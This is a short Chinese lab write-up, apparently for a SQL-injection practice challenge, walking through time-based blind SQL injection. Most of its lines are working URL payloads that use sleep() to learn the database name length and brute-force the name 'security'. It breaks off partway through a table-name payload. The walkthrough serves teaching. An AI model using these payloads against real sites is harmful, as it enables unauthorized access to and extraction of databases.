不管怎么输入,显示总是you are ...
考虑时间型盲注,payload
?id=1" and sleep(3) --+
注意id=1,发现明显延迟,说明注入成功,接下来爆破就完了。
这道题的payload构造和第五题的方法一是一样的,一些废话就不多说了,这里就列一下过程,完事儿。
爆库payload
?id=1" and if(length(database())=4 , sleep(3), 1) --+
发现当?id=1" and if(length(database())=8 , sleep(3), 1) --+时明显延迟,所以库名长为8
?id=1" and if(left(database(),1)='s' , sleep(3), 1) --+
发现明显延迟说明库名第一个字符为 's'
继续爆破?id=1" and if(left(database(),8)='security' , sleep(3), 1) --+
说明库名为 'security'
爆表payload
?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),